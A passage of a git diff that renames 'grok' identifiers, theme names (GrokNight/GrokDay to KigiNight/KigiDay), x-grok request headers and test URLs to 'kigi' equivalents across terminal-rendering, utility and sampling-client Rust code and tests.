+        let t_dark = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t_dark.diff_delete_fg, Color::LightRed);
         assert_eq!(t_dark.diff_insert_fg, Color::LightGreen);
 
-        let t_light = Theme::grokday().ansi16_chrome_overrides(false);
+        let t_light = Theme::kigiday().ansi16_chrome_overrides(false);
         assert_eq!(t_light.diff_delete_fg, Color::Red);
         assert_eq!(t_light.diff_insert_fg, Color::Green);
     }
@@ -869,10 +869,10 @@ mod tests {
         //   - dark canvas → Color::White
         //   - light canvas → Color::Black
         use ratatui::style::Color;
-        let t_dark = Theme::groknight().ansi16_chrome_overrides(true);
+        let t_dark = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t_dark.accent_user, Color::White);
 
-        let t_light = Theme::grokday().ansi16_chrome_overrides(false);
+        let t_light = Theme::kigiday().ansi16_chrome_overrides(false);
         assert_eq!(t_light.accent_user, Color::Black);
     }
 
@@ -881,7 +881,7 @@ mod tests {
         // Without these pins, every dark RGB bg quantizes to Color::Black
         // and the hover/visual/highlight bands collapse onto the canvas.
         use ratatui::style::Color;
-        let t = Theme::groknight().ansi16_chrome_overrides(true);
+        let t = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t.bg_hover, Color::DarkGray);
         assert_eq!(t.bg_visual, Color::DarkGray);
     }
@@ -889,7 +889,7 @@ mod tests {
     #[test]
     fn ansi16_overrides_extended_light_pins_elevated_bg_to_gray() {
         use ratatui::style::Color;
-        let t = Theme::grokday().ansi16_chrome_overrides(false);
+        let t = Theme::kigiday().ansi16_chrome_overrides(false);
         assert_eq!(t.bg_hover, Color::Gray);
         assert_eq!(t.bg_visual, Color::Gray);
     }
@@ -900,16 +900,16 @@ mod tests {
         // must match the theme polarity (Black for dark themes, White
         // for light) — NOT Color::Reset, which would defer to the
         // user's terminal canvas and create polarity mismatches when
-        // the theme disagrees with the terminal profile (e.g. GrokNight
+        // the theme disagrees with the terminal profile (e.g. KigiNight
         // running on a white-canvas terminal).
         use ratatui::style::Color;
-        let t_dark = Theme::groknight().ansi16_chrome_overrides(true);
+        let t_dark = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t_dark.bg_dark, Color::Black);
         assert_eq!(t_dark.md_code_bg, Color::Black);
         assert_eq!(t_dark.paste_bg, Color::Black);
         assert_eq!(t_dark.scrollbar_bg, Color::Black);
 
-        let t_light = Theme::grokday().ansi16_chrome_overrides(false);
+        let t_light = Theme::kigiday().ansi16_chrome_overrides(false);
         assert_eq!(t_light.bg_dark, Color::White);
         assert_eq!(t_light.md_code_bg, Color::White);
         assert_eq!(t_light.paste_bg, Color::White);
@@ -928,14 +928,14 @@ mod tests {
         // both take `DarkGray`. The selection-vs-active distinction
         // survives in both polarities via `prompt_border_active`.
         use ratatui::style::Color;
-        let t_dark = Theme::groknight().ansi16_chrome_overrides(true);
+        let t_dark = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t_dark.hover_border, Color::DarkGray);
         assert_eq!(t_dark.prompt_border, Color::DarkGray);
         assert_eq!(t_dark.selection_border, Color::Gray);
         assert_eq!(t_dark.prompt_border_active, Color::White);
         assert_ne!(t_dark.selection_border, t_dark.prompt_border_active);
 
-        let t_light = Theme::grokday().ansi16_chrome_overrides(false);
+        let t_light = Theme::kigiday().ansi16_chrome_overrides(false);
         assert_eq!(t_light.hover_border, Color::DarkGray);
         assert_eq!(t_light.prompt_border, Color::Gray);
         assert_eq!(t_light.selection_border, Color::DarkGray);
@@ -948,11 +948,11 @@ mod tests {
         // scrollbar_fg must not equal scrollbar_bg or the thumb is
         // invisible against the canvas-pinned track.
         use ratatui::style::Color;
-        let t_dark = Theme::groknight().ansi16_chrome_overrides(true);
+        let t_dark = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t_dark.scrollbar_fg, Color::Gray);
         assert_ne!(t_dark.scrollbar_fg, t_dark.scrollbar_bg);
 
-        let t_light = Theme::grokday().ansi16_chrome_overrides(false);
+        let t_light = Theme::kigiday().ansi16_chrome_overrides(false);
         assert_eq!(t_light.scrollbar_fg, Color::DarkGray);
         assert_ne!(t_light.scrollbar_fg, t_light.scrollbar_bg);
     }
@@ -980,8 +980,8 @@ mod tests {
         };
         for &kind in ThemeKind::ALL {
             let theme = match kind {
-                ThemeKind::GrokNight => Theme::groknight(),
-                ThemeKind::GrokDay => Theme::grokday(),
+                ThemeKind::KigiNight => Theme::kiginight(),
+                ThemeKind::KigiDay => Theme::kigiday(),
                 ThemeKind::TokyoNight => Theme::tokyonight(),
                 ThemeKind::RosePineMoon => Theme::rosepine_moon(),
                 ThemeKind::OscuraMidnight => Theme::oscura_midnight(),
@@ -1007,16 +1007,16 @@ mod tests {
     }
 
     #[test]
-    fn ansi16_quantize_without_override_collapses_groknight_backgrounds() {
+    fn ansi16_quantize_without_override_collapses_kiginight_backgrounds() {
         // Regression-ratchet for the override gate in `Theme::current`:
-        // naive `Basic` quantization maps every dark GrokNight bg field
+        // naive `Basic` quantization maps every dark KigiNight bg field
         // to `Color::Black`, erasing the hierarchy. This test exists to
         // make the motivation for `ansi16_chrome_overrides` explicit —
         // if quantization later gains a "dark gray" mid-tone (e.g., via
         // an ANSI24/ANSI32 level), this test will start failing and the
         // override scope should be revisited.
         use ratatui::style::Color;
-        let q = Theme::groknight().quantized(color_support::ColorLevel::Basic);
+        let q = Theme::kiginight().quantized(color_support::ColorLevel::Basic);
         for (name, color) in [
             ("bg_base", q.bg_base),
             ("bg_light", q.bg_light),
@@ -1052,13 +1052,13 @@ mod tests {
         // brighter slot keeps secondary text legible while still
         // separating "dim" from "muted".
         use ratatui::style::Color;
-        let t_dark = Theme::groknight().ansi16_chrome_overrides(true);
+        let t_dark = Theme::kiginight().ansi16_chrome_overrides(true);
         assert_eq!(t_dark.gray, Color::Gray);
         assert_eq!(t_dark.gray_bright, Color::Gray);
         assert_eq!(t_dark.gray_dim, Color::DarkGray);
         assert_ne!(t_dark.gray, t_dark.gray_dim);
 
-        let t_light = Theme::grokday().ansi16_chrome_overrides(false);
+        let t_light = Theme::kigiday().ansi16_chrome_overrides(false);
         assert_eq!(t_light.gray, Color::DarkGray);
         assert_eq!(t_light.gray_bright, Color::DarkGray);
         assert_eq!(t_light.gray_dim, Color::Gray);
@@ -1111,12 +1111,12 @@ mod tests {
     #[test]
     fn from_name_concrete_variants_still_work() {
         assert_eq!(
-            ThemeKind::from_name("groknight"),
-            Some(ThemeKind::GrokNight)
+            ThemeKind::from_name("kiginight"),
+            Some(ThemeKind::KigiNight)
         );
-        assert_eq!(ThemeKind::from_name("dark"), Some(ThemeKind::GrokNight));
-        assert_eq!(ThemeKind::from_name("grokday"), Some(ThemeKind::GrokDay));
-        assert_eq!(ThemeKind::from_name("light"), Some(ThemeKind::GrokDay));
+        assert_eq!(ThemeKind::from_name("dark"), Some(ThemeKind::KigiNight));
+        assert_eq!(ThemeKind::from_name("kigiday"), Some(ThemeKind::KigiDay));
+        assert_eq!(ThemeKind::from_name("light"), Some(ThemeKind::KigiDay));
         assert_eq!(
             ThemeKind::from_name("tokyonight"),
             Some(ThemeKind::TokyoNight)
@@ -1142,16 +1142,16 @@ mod tests {
         let cases = [
             ("auto", ThemeKind::Auto),
             ("system", ThemeKind::Auto),
-            ("groknight", ThemeKind::GrokNight),
-            ("grok-night", ThemeKind::GrokNight),
-            ("dark", ThemeKind::GrokNight),
+            ("kiginight", ThemeKind::KigiNight),
+            ("kigi-night", ThemeKind::KigiNight),
+            ("dark", ThemeKind::KigiNight),
             ("tokyonight", ThemeKind::TokyoNight),
             ("tokyo-night", ThemeKind::TokyoNight),
             ("tokyo", ThemeKind::TokyoNight),
-            ("grokday", ThemeKind::GrokDay),
-            ("grok-day", ThemeKind::GrokDay),
-            ("light", ThemeKind::GrokDay),
-            ("day", ThemeKind::GrokDay),
+            ("kigiday", ThemeKind::KigiDay),
+            ("kigi-day", ThemeKind::KigiDay),
+            ("light", ThemeKind::KigiDay),
+            ("day", ThemeKind::KigiDay),
             ("rosepine", ThemeKind::RosePineMoon),
             ("rose-pine", ThemeKind::RosePineMoon),
             ("rosepine-moon", ThemeKind::RosePineMoon),
diff --git a/crates/codegen/kigi-pager-render/src/theme/system_appearance.rs b/crates/codegen/kigi-pager-render/src/theme/system_appearance.rs
index 0c9c13b..adf022d 100644
--- a/crates/codegen/kigi-pager-render/src/theme/system_appearance.rs
+++ b/crates/codegen/kigi-pager-render/src/theme/system_appearance.rs
@@ -87,7 +87,7 @@ fn mock_override() -> Option<Option<SystemAppearance>> {
 ///
 /// `dark_theme` and `light_theme` are the user-configured themes for each
 /// appearance mode, read from `[ui].auto_dark_theme` and `[ui].auto_light_theme`
-/// in `config.toml`. When `None`, defaults to `GrokNight` / `GrokDay`.
+/// in `config.toml`. When `None`, defaults to `KigiNight` / `KigiDay`.
 ///
 /// This function is the single mapping point for appearance -> theme.
 /// All callers go through it, making the mapping trivially extensible.
@@ -98,8 +98,8 @@ pub fn to_theme_kind(
     light_theme: Option<ThemeKind>,
 ) -> ThemeKind {
     match appearance {
-        SystemAppearance::Light => light_theme.unwrap_or(ThemeKind::GrokDay),
-        SystemAppearance::Dark => dark_theme.unwrap_or(ThemeKind::GrokNight),
+        SystemAppearance::Light => light_theme.unwrap_or(ThemeKind::KigiDay),
+        SystemAppearance::Dark => dark_theme.unwrap_or(ThemeKind::KigiNight),
     }
 }
 
@@ -214,15 +214,15 @@ mod tests {
     }
 
     #[test]
-    fn to_theme_kind_dark_defaults_to_groknight() {
+    fn to_theme_kind_dark_defaults_to_kiginight() {
         let result = to_theme_kind(SystemAppearance::Dark, None, None);
-        assert_eq!(result, ThemeKind::GrokNight);
+        assert_eq!(result, ThemeKind::KigiNight);
     }
 
     #[test]
-    fn to_theme_kind_light_defaults_to_grokday() {
+    fn to_theme_kind_light_defaults_to_kigiday() {
         let result = to_theme_kind(SystemAppearance::Light, None, None);
-        assert_eq!(result, ThemeKind::GrokDay);
+        assert_eq!(result, ThemeKind::KigiDay);
     }
 
     #[test]
@@ -242,30 +242,30 @@ mod tests {
         let result = to_theme_kind(
             SystemAppearance::Dark,
             Some(ThemeKind::RosePineMoon),
-            Some(ThemeKind::GrokNight),
+            Some(ThemeKind::KigiNight),
         );
         assert_eq!(result, ThemeKind::RosePineMoon);
 
         let result = to_theme_kind(
             SystemAppearance::Light,
             Some(ThemeKind::RosePineMoon),
-            Some(ThemeKind::GrokNight),
+            Some(ThemeKind::KigiNight),
         );
-        assert_eq!(result, ThemeKind::GrokNight);
+        assert_eq!(result, ThemeKind::KigiNight);
     }
 
     #[test]
     fn to_theme_kind_dark_ignores_light_override() {
         let result = to_theme_kind(SystemAppearance::Dark, None, Some(ThemeKind::TokyoNight));
         // Dark appearance should use the dark default, not the light override.
-        assert_eq!(result, ThemeKind::GrokNight);
+        assert_eq!(result, ThemeKind::KigiNight);
     }
 
     #[test]
     fn to_theme_kind_light_ignores_dark_override() {
         let result = to_theme_kind(SystemAppearance::Light, Some(ThemeKind::TokyoNight), None);
         // Light appearance should use the light default, not the dark override.
-        assert_eq!(result, ThemeKind::GrokDay);
+        assert_eq!(result, ThemeKind::KigiDay);
     }
 
     #[test]
diff --git a/crates/codegen/kigi-pager-render/src/theme/terminal_default.rs b/crates/codegen/kigi-pager-render/src/theme/terminal_default.rs
index caffc0d..2676221 100644
--- a/crates/codegen/kigi-pager-render/src/theme/terminal_default.rs
+++ b/crates/codegen/kigi-pager-render/src/theme/terminal_default.rs
@@ -285,8 +285,8 @@ mod tests {
     #[test]
     fn rgb_theme_muted_keeps_explicit_gray_without_forced_dim() {
         use ratatui::style::Modifier;
-        // GrokNight paints real RGB grays; muted/dim must not invent DIM.
-        let theme = Theme::groknight();
+        // KigiNight paints real RGB grays; muted/dim must not invent DIM.
+        let theme = Theme::kiginight();
         assert!(!matches!(theme.gray, Color::Reset));
         let muted = theme.muted();
         assert_eq!(muted.fg, Some(theme.gray));
diff --git a/crates/codegen/kigi-pager-render/src/util.rs b/crates/codegen/kigi-pager-render/src/util.rs
index 31f455c..6591253 100644
--- a/crates/codegen/kigi-pager-render/src/util.rs
+++ b/crates/codegen/kigi-pager-render/src/util.rs
@@ -11,7 +11,7 @@ pub fn pager_toml_path() -> PathBuf {
     kigi_home().join("pager.toml")
 }
 
-/// User-facing label for the user grok directory (``~/.kigi`` or ``$KIGI_SHARE_DIR``).
+/// User-facing label for the user kigi directory (``~/.kigi`` or ``$KIGI_SHARE_DIR``).
 ///
 /// Derived from resolved [`kigi_home()`] vs `kigi_config::default_kigi_home()`,
 /// not from whether `KIGI_SHARE_DIR` is set in the environment.
@@ -24,7 +24,7 @@ pub fn display_kigi_home_prefix() -> String {
 }
 
 /// User-facing path under [`kigi_home()`], e.g. ``~/.kigi/config.toml``.
-pub fn display_user_grok_path(relative: impl AsRef<Path>) -> String {
+pub fn display_user_kigi_path(relative: impl AsRef<Path>) -> String {
     let rel = relative.as_ref();
     let prefix = display_kigi_home_prefix();
     if rel.as_os_str().is_empty() {
@@ -36,8 +36,8 @@ pub fn display_user_grok_path(relative: impl AsRef<Path>) -> String {
 /// Abbreviate an absolute path for display: prefer [`kigi_home()`], then `$HOME`.
 pub fn abbreviate_path(path: &str) -> Cow<'_, str> {
     let path_buf = Path::new(path);
-    let grok = kigi_home();
-    if let Ok(rest) = path_buf.strip_prefix(&grok) {
+    let kigi = kigi_home();
+    if let Ok(rest) = path_buf.strip_prefix(&kigi) {
         let prefix = display_kigi_home_prefix();
         if rest.as_os_str().is_empty() {
             return Cow::Owned(prefix);
@@ -404,14 +404,14 @@ mod tests {
     }
 
     #[test]
-    fn display_user_grok_path_joins_relative() {
-        let path = display_user_grok_path("config.toml");
+    fn display_user_kigi_path_joins_relative() {
+        let path = display_user_kigi_path("config.toml");
         assert!(path.ends_with("/config.toml") || path.ends_with("\\config.toml"));
         assert!(path.contains(".kigi") || path.contains("$KIGI_SHARE_DIR"));
     }
 
     #[test]
-    fn abbreviate_path_uses_home_when_under_default_grok() {
+    fn abbreviate_path_uses_home_when_under_default_kigi() {
         if let Ok(home) = std::env::var("HOME") {
             if home.is_empty() {
                 return;
diff --git a/crates/codegen/kigi-prompt-queue/src/types.rs b/crates/codegen/kigi-prompt-queue/src/types.rs
index c4b4f9a..0f392f4 100644
--- a/crates/codegen/kigi-prompt-queue/src/types.rs
+++ b/crates/codegen/kigi-prompt-queue/src/types.rs
@@ -41,7 +41,7 @@ pub struct QueueEntryWire {
     pub position: usize,
 }
 
-/// Broadcast payload for the `x.ai/queue/changed` notification.
+/// Broadcast payload for the `kigi/queue/changed` notification.
 #[derive(Clone, Debug, Default, Serialize, Deserialize, PartialEq, Eq)]
 #[serde(rename_all = "camelCase")]
 pub struct QueueChanged {
diff --git a/crates/codegen/kigi-ratatui-inline/src/tests.rs b/crates/codegen/kigi-ratatui-inline/src/tests.rs
index a99b2a3..3ee6385 100644
--- a/crates/codegen/kigi-ratatui-inline/src/tests.rs
+++ b/crates/codegen/kigi-ratatui-inline/src/tests.rs
@@ -206,9 +206,9 @@ mod links {
     #[test]
     fn emits_osc8_around_linked_cells() {
         let mut t = term(20, 3);
-        let out = frame(&mut t, "AB", &[span(0, 2, "https://x.ai", None)]);
+        let out = frame(&mut t, "AB", &[span(0, 2, "https://kimi.com", None)]);
         assert!(
-            out.contains("\x1b]8;;https://x.ai\x07"),
+            out.contains("\x1b]8;;https://kimi.com\x07"),
             "missing open: {out:?}"
         );
         assert!(out.contains("AB"));
@@ -302,7 +302,7 @@ mod links {
     #[test]
     fn link_removed_next_frame_rewrites_cells_without_osc8() {
         let mut t = term(20, 3);
-        let _ = frame(&mut t, "AB", &[span(0, 2, "https://x.ai", None)]);
+        let _ = frame(&mut t, "AB", &[span(0, 2, "https://kimi.com", None)]);
         // Same glyphs, but the link is gone: the cells must be rewritten (so the
         // terminal's hyperlink clears) and carry no OSC 8. This is the `/new`
         // regression — clearing is driven purely by the diff.
@@ -314,9 +314,9 @@ mod links {
     #[test]
     fn unchanged_link_and_content_emits_nothing() {
         let mut t = term(20, 3);
-        let _ = frame(&mut t, "AB", &[span(0, 2, "https://x.ai", None)]);
+        let _ = frame(&mut t, "AB", &[span(0, 2, "https://kimi.com", None)]);
         // Identical glyphs AND identical link → empty diff → no output at all.
-        let out = frame(&mut t, "AB", &[span(0, 2, "https://x.ai", None)]);
+        let out = frame(&mut t, "AB", &[span(0, 2, "https://kimi.com", None)]);
         assert!(out.is_empty(), "expected empty diff, got: {out:?}");
     }
 
@@ -334,9 +334,9 @@ mod links {
     #[test]
     fn emit_id_param_included() {
         let mut t = term(20, 3);
-        let out = frame(&mut t, "AB", &[span(0, 2, "https://x.ai", Some(7))]);
+        let out = frame(&mut t, "AB", &[span(0, 2, "https://kimi.com", Some(7))]);
         assert!(
-            out.contains("\x1b]8;id=7;https://x.ai\x07"),
+            out.contains("\x1b]8;id=7;https://kimi.com\x07"),
             "id param missing: {out:?}"
         );
     }
@@ -376,9 +376,9 @@ mod links {
         let mut t = term(20, 3);
         // A width-2 char occupies two cells; only the lead cell is drawn, and
         // the OSC 8 wraps it.
-        let out = frame(&mut t, "世", &[span(0, 2, "https://x.ai", None)]);
+        let out = frame(&mut t, "世", &[span(0, 2, "https://kimi.com", None)]);
         assert!(
-            out.contains("\x1b]8;;https://x.ai\x07世\x1b]8;;\x07"),
+            out.contains("\x1b]8;;https://kimi.com\x07世\x1b]8;;\x07"),
             "wide-char run: {out:?}"
         );
     }
@@ -404,13 +404,13 @@ mod links {
             row: 5,
             col_start: 2,
             col_end: 4,
-            url: "https://x.ai".into(),
+            url: "https://kimi.com".into(),
             id: None,
         }]);
         t.flush_with_links().unwrap();
         let out = String::from_utf8(t.backend().buf.clone()).unwrap();
         assert!(
-            out.contains("\x1b]8;;https://x.ai\x07AB\x1b]8;;\x07"),
+            out.contains("\x1b]8;;https://kimi.com\x07AB\x1b]8;;\x07"),
             "non-origin mapping: {out:?}"
         );
     }
diff --git a/crates/codegen/kigi-sampler/src/client.rs b/crates/codegen/kigi-sampler/src/client.rs
index 8b00de1..5b01334 100644
--- a/crates/codegen/kigi-sampler/src/client.rs
+++ b/crates/codegen/kigi-sampler/src/client.rs
@@ -181,12 +181,12 @@ fn extract_retry_after(headers: &reqwest::header::HeaderMap) -> Option<u64> {
 
 fn extract_model_metadata(headers: &reqwest::header::HeaderMap) -> Option<ResponseModelMetadata> {
     let context_window = headers
-        .get("x-grok-context-window")
+        .get("x-kigi-context-window")
         .and_then(|v| v.to_str().ok())
         .and_then(|s| s.parse::<u64>().ok());
 
     let max_completion_tokens = headers
-        .get("x-grok-max-completion-tokens")
+        .get("x-kigi-max-completion-tokens")
         .and_then(|v| v.to_str().ok())
         .and_then(|s| s.parse::<u32>().ok());
 
@@ -399,7 +399,7 @@ impl SamplingClient {
 
         // Always set User-Agent: per-session origin if available, else fallback.
         // This and `extra_headers` are the only client-identity signals on the
-        // wire — the old xAI proxy's `x-grok-*` marker headers are gone
+        // wire — the old xAI proxy's `x-kigi-*` marker headers are gone
         // (PRD F3: auth is a plain bearer; kimi-cli sends only User-Agent
         // plus the OAuth device headers, src/kimi_cli/llm.py:317-323).
         {
@@ -1096,7 +1096,7 @@ impl SamplingClient {
     ///
     /// The third tuple element is a per-request doom-loop signal collector,
     /// `Some` only when `SamplerConfig::doom_loop_recovery` is set — the same
-    /// gate that adds the opt-in `x-grok-doom-loop-check` request header, so
+    /// gate that adds the opt-in `x-kigi-doom-loop-check` request header, so
     /// header and parse protection cannot drift apart. It is filled by the
     /// SSE decoder as the server reports triggers and is meant to be handed
     /// to `stream_responses` so the signals land on the final
@@ -1674,11 +1674,11 @@ impl SamplingClient {
         self.apply_conversation_defaults(&mut request)?;
 
         let trace = request.trace.take();
-        let x_grok_conv_id = request.x_grok_conv_id.clone();
-        let x_grok_req_id = request.x_grok_req_id.clone();
-        let x_grok_session_id = request.x_grok_session_id.clone();
-        let x_grok_turn_idx = request.x_grok_turn_idx.clone();
-        let x_grok_agent_id = request.x_grok_agent_id.clone();
+        let x_kigi_conv_id = request.x_kigi_conv_id.clone();
+        let x_kigi_req_id = request.x_kigi_req_id.clone();
+        let x_kigi_session_id = request.x_kigi_session_id.clone();
+        let x_kigi_turn_idx = request.x_kigi_turn_idx.clone();
+        let x_kigi_agent_id = request.x_kigi_agent_id.clone();
 
         // Collect xAI-specific tools that can't be expressed via rs::Tool
         // (e.g., x_search). These are injected as raw JSON after serialization.
@@ -1687,11 +1687,11 @@ impl SamplingClient {
         let responses_request: rs::CreateResponse = (&request).into();
 
         let mut wrapper = CreateResponseWrapper::new(responses_request);
-        wrapper.x_grok_conv_id = x_grok_conv_id;
-        wrapper.x_grok_req_id = x_grok_req_id;
-        wrapper.x_grok_session_id = x_grok_session_id;
-        wrapper.x_grok_turn_idx = x_grok_turn_idx;
-        wrapper.x_grok_agent_id = x_grok_agent_id;
+        wrapper.x_kigi_conv_id = x_kigi_conv_id;
+        wrapper.x_kigi_req_id = x_kigi_req_id;
+        wrapper.x_kigi_session_id = x_kigi_session_id;
+        wrapper.x_kigi_turn_idx = x_kigi_turn_idx;
+        wrapper.x_kigi_agent_id = x_kigi_agent_id;
         wrapper.extra_raw_tools = extra_tools;
 
         if let Some(trace) = trace {
@@ -1711,20 +1711,20 @@ impl SamplingClient {
         self.apply_conversation_defaults(&mut request)?;
 
         let trace = request.trace.take();
-        let x_grok_conv_id = request.x_grok_conv_id.clone();
-        let x_grok_req_id = request.x_grok_req_id.clone();
-        let x_grok_session_id = request.x_grok_session_id.clone();
-        let x_grok_turn_idx = request.x_grok_turn_idx.clone();
-        let x_grok_agent_id = request.x_grok_agent_id.clone();
+        let x_kigi_conv_id = request.x_kigi_conv_id.clone();
+        let x_kigi_req_id = request.x_kigi_req_id.clone();
+        let x_kigi_session_id = request.x_kigi_session_id.clone();
+        let x_kigi_turn_idx = request.x_kigi_turn_idx.clone();
+        let x_kigi_agent_id = request.x_kigi_agent_id.clone();
 
         let responses_request: rs::CreateResponse = (&request).into();
 
         let mut wrapper = CreateResponseWrapper::new(responses_request);
-        wrapper.x_grok_conv_id = x_grok_conv_id;
-        wrapper.x_grok_req_id = x_grok_req_id;
-        wrapper.x_grok_session_id = x_grok_session_id;
-        wrapper.x_grok_turn_idx = x_grok_turn_idx;
-        wrapper.x_grok_agent_id = x_grok_agent_id;
+        wrapper.x_kigi_conv_id = x_kigi_conv_id;
+        wrapper.x_kigi_req_id = x_kigi_req_id;
+        wrapper.x_kigi_session_id = x_kigi_session_id;
+        wrapper.x_kigi_turn_idx = x_kigi_turn_idx;
+        wrapper.x_kigi_agent_id = x_kigi_agent_id;
 
         if let Some(trace) = trace {
             wrapper.trace = Some(trace);
@@ -1746,20 +1746,20 @@ impl SamplingClient {
         self.apply_conversation_defaults(&mut request)?;
 
         let trace = request.trace.take();
-        let x_grok_conv_id = request.x_grok_conv_id.clone();
-        let x_grok_req_id = request.x_grok_req_id.clone();
-        let x_grok_session_id = request.x_grok_session_id.clone();
-        let x_grok_turn_idx = request.x_grok_turn_idx.clone();
-        let x_grok_agent_id = request.x_grok_agent_id.clone();
+        let x_kigi_conv_id = request.x_kigi_conv_id.clone();
+        let x_kigi_req_id = request.x_kigi_req_id.clone();
+        let x_kigi_session_id = request.x_kigi_session_id.clone();
+        let x_kigi_turn_idx = request.x_kigi_turn_idx.clone();
+        let x_kigi_agent_id = request.x_kigi_agent_id.clone();
 
         let messages_request = build_messages_request(&request);
 
         let mut wrapper = MessagesRequestWrapper::new(messages_request);
-        wrapper.x_grok_conv_id = x_grok_conv_id;
-        wrapper.x_grok_req_id = x_grok_req_id;
-        wrapper.x_grok_session_id = x_grok_session_id;
-        wrapper.x_grok_turn_idx = x_grok_turn_idx;
-        wrapper.x_grok_agent_id = x_grok_agent_id;
+        wrapper.x_kigi_conv_id = x_kigi_conv_id;
+        wrapper.x_kigi_req_id = x_kigi_req_id;
+        wrapper.x_kigi_session_id = x_kigi_session_id;
+        wrapper.x_kigi_turn_idx = x_kigi_turn_idx;
+        wrapper.x_kigi_agent_id = x_kigi_agent_id;
 
         if let Some(trace) = trace {
             wrapper.trace = Some(trace);
@@ -1778,20 +1778,20 @@ impl SamplingClient {
         self.apply_conversation_defaults(&mut request)?;
 
         let trace = request.trace.take();
-        let x_grok_conv_id = request.x_grok_conv_id.clone();
-        let x_grok_req_id = request.x_grok_req_id.clone();
-        let x_grok_session_id = request.x_grok_session_id.clone();
-        let x_grok_turn_idx = request.x_grok_turn_idx.clone();
-        let x_grok_agent_id = request.x_grok_agent_id.clone();
+        let x_kigi_conv_id = request.x_kigi_conv_id.clone();
+        let x_kigi_req_id = request.x_kigi_req_id.clone();
+        let x_kigi_session_id = request.x_kigi_session_id.clone();
+        let x_kigi_turn_idx = request.x_kigi_turn_idx.clone();
+        let x_kigi_agent_id = request.x_kigi_agent_id.clone();
 
         let messages_request = build_messages_request(&request);
 
         let mut wrapper = MessagesRequestWrapper::new(messages_request);
-        wrapper.x_grok_conv_id = x_grok_conv_id;
-        wrapper.x_grok_req_id = x_grok_req_id;
-        wrapper.x_grok_session_id = x_grok_session_id;
-        wrapper.x_grok_turn_idx = x_grok_turn_idx;
-        wrapper.x_grok_agent_id = x_grok_agent_id;
+        wrapper.x_kigi_conv_id = x_kigi_conv_id;
+        wrapper.x_kigi_req_id = x_kigi_req_id;
+        wrapper.x_kigi_session_id = x_kigi_session_id;
+        wrapper.x_kigi_turn_idx = x_kigi_turn_idx;
+        wrapper.x_kigi_agent_id = x_kigi_agent_id;
 
         if let Some(trace) = trace {
             wrapper.trace = Some(trace);
@@ -1893,13 +1893,13 @@ mod tests {
             search_parameters: None,
             response_format: None,
             reasoning_effort: None,
-            x_grok_conv_id: None,
-            x_grok_req_id: None,
-            x_grok_session_id: None,
-            x_grok_turn_idx: None,
-            x_grok_agent_id: None,
-            x_grok_deployment_id: None,
-            x_grok_user_id: None,
+            x_kigi_conv_id: None,
+            x_kigi_req_id: None,
+            x_kigi_session_id: None,
+            x_kigi_turn_idx: None,
+            x_kigi_agent_id: None,
+            x_kigi_deployment_id: None,
+            x_kigi_user_id: None,
             trace: None,
         };
 
@@ -2377,7 +2377,7 @@ mod tests {
                 "id": "resp_1",
                 "object": "response",
                 "created_at": 0,
-                "model": "grok-build",
+                "model": "kigi",
                 "status": "completed",
                 "output": [],
                 "usage": {
@@ -2417,7 +2417,7 @@ mod tests {
                 "sequence_number": 0,
                 "response": {{
                     "id": "resp_1", "object": "response", "created_at": 0,
-                    "model": "grok-build", "status": "completed", "output": [],
+                    "model": "kigi", "status": "completed", "output": [],
                     "usage": {{
                         "input_tokens": 10,
                         "input_tokens_details": {{ "cached_tokens": 0 }},
@@ -2463,7 +2463,7 @@ mod tests {
                 "id": "resp_1",
                 "object": "response",
                 "created_at": 0,
-                "model": "grok-build",
+                "model": "kigi",
                 "status": "completed",
                 "output": [],
                 "usage": {
@@ -2497,7 +2497,7 @@ mod tests {
                 "id": "resp_1",
                 "object": "response",
                 "created_at": 0,
-                "model": "grok-build",
+                "model": "kigi",
                 "status": "completed",
                 "output": [],
                 "usage": {
diff --git a/crates/codegen/kigi-sampler/src/config.rs b/crates/codegen/kigi-sampler/src/config.rs
index 872ce24..e20e21a 100644
--- a/crates/codegen/kigi-sampler/src/config.rs
+++ b/crates/codegen/kigi-sampler/src/config.rs
@@ -73,7 +73,7 @@ pub struct SamplerConfig {
 
     /// Client identity for the User-Agent header (`kigi/{version}` plus an
     /// optional origin product). The old xAI proxy's identity headers
-    /// (`x-grok-client-identifier` / `-client-version` / `-deployment-id` /
+    /// (`x-kigi-client-identifier` / `-client-version` / `-deployment-id` /
     /// `-user-id`) are gone — User-Agent and `extra_headers` are the only
     /// identity signals on the wire.
     pub origin_client: Option<OriginClientInfo>,
@@ -112,7 +112,7 @@ pub struct SamplerConfig {
     pub compaction_at_tokens: Option<CompactionAtTokens>,
 
     /// Server-side doom-loop check policy; `None` disables it. When set, the
-    /// client itself sends the opt-in `x-grok-doom-loop-check` header on
+    /// client itself sends the opt-in `x-kigi-doom-loop-check` header on
     /// streaming Responses API requests and absorbs the reported trigger
     /// events (unlike the environment headers in [`Self::extra_headers`],
     /// this header gates the client's own decode behavior, so it lives with
diff --git a/crates/codegen/kigi-sampler/src/kimi_compat.rs b/crates/codegen/kigi-sampler/src/kimi_compat.rs
index 381b1e0..1237a8d 100644
--- a/crates/codegen/kigi-sampler/src/kimi_compat.rs
+++ b/crates/codegen/kigi-sampler/src/kimi_compat.rs
@@ -74,7 +74,7 @@ fn adapt_thinking(body: &mut Value) {
 
 /// Message-level adaptations:
 ///
-/// * Drop `model_id` — a grok-build extension recorded on assistant turns;
+/// * Drop `model_id` — a kigi extension recorded on assistant turns;
 ///   kimi-cli's message serializer sends no such field
 ///   (packages/kosong/src/kosong/chat_provider/kimi.py:326-353).
 /// * Drop `content` from assistant tool-call messages whose visible content
@@ -330,7 +330,7 @@ mod tests {
         adapt_chat_completions_body(&mut body);
         let assistant = &body["messages"][1];
         assert_eq!(assistant.get("content"), None, "empty content dropped");
-        assert_eq!(assistant.get("model_id"), None, "grok extension dropped");
+        assert_eq!(assistant.get("model_id"), None, "kigi extension dropped");
         assert!(assistant.get("tool_calls").is_some());
         // The user message keeps its content.
         assert_eq!(body["messages"][0]["content"], json!("hi"));
diff --git a/crates/codegen/kigi-sampler/tests/test_kimi_wire.rs b/crates/codegen/kigi-sampler/tests/test_kimi_wire.rs
index 695f339..ec95b62 100644
--- a/crates/codegen/kigi-sampler/tests/test_kimi_wire.rs
+++ b/crates/codegen/kigi-sampler/tests/test_kimi_wire.rs
